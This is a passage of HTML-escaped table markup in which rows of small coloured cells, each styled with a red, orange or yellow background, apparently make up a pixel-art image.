&lt;td style=&quot;background-color: #b90506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a60201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a50200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a50105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f0104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #ae4202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b04202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae3f02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad3e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad3f04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad3e02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad3d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b33800; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7550c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f3801e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf4d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b13200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b43706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b43507; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b03205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b12f08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b53004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da7a21; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffc73; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fafdaa; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefceb; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fafbac; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5f26b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfcaa; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbff8f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbdf59; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e2651b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db2809; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba1205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a60a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae0303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b10504; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a30302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a10102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a50204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a40104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f0202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #990401; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #990200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a20103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a60409; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e0105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #990103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #ab3b02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab3b02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa3b02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a83901; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c24e11; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd460b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa3501; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab3805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a93807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a93603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab3202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae2f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b33006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72d02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b02b01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab2b02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a72b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a82903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac2709; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac250b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa1c00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd5d1b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffeb64; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fafd8d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcffc7; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfe8a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2f35f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fef88d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fde36c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec7820; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e72d11; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c91707; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0600; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a60202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a80204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a50202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e0201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c0300; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b0102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #990001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #960100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #970000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c0302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #980002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #930102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #a53005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a53005; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a42f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a42f03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a92f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa2d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a72d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a42d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a32c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a52903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a42704; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a52706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a32405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a62305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a62204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a42103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a22003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a11e01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a21c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a51c03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a71a02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac2603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea9a3d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffe866; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #faea6c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fad14e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f1c43f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fed65d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea822d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ea350b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db1d0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b60905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a60303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e0103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a10203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a00002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9d0001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b0000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a0002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #980000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #970001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #970001; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #950003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #920103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #930200; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a80302; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b50406; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #990002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #930101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #a12503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a02606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9d2506; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9c2405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a02201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a32202; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a32303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a32303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a12104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e2109; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9b2008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #992109; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #962009; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e1f0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d1e0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8d1d0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c1b09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #891b0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #881c0f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8a1b0f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8c1b11; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #901b10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9f330e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c8832f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f4b651; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c97025; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c7601a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df8125; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf540f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb3d12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b22a11; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e1b14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #941714; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8e1511; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #901510; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #951412; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #941110; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #960f0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #960d0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #980e0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #950807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #950503; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #960201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #940000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #900000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #900000; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a10105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af070a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #960102; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #900002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #9b1a01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9a1a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #981804; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #991908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #981b0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #8f1a09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #831a0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #771b0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #6f180a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #701508; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #741807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #7a1c09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #83250b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #89280b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #91310e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #97370f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #9e3e12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a54314; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab4713; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ae4a16; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af4d14; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b44b13; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf4812; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c45009; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e67721; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d76c1a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce5b10; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e87218; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e77214; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
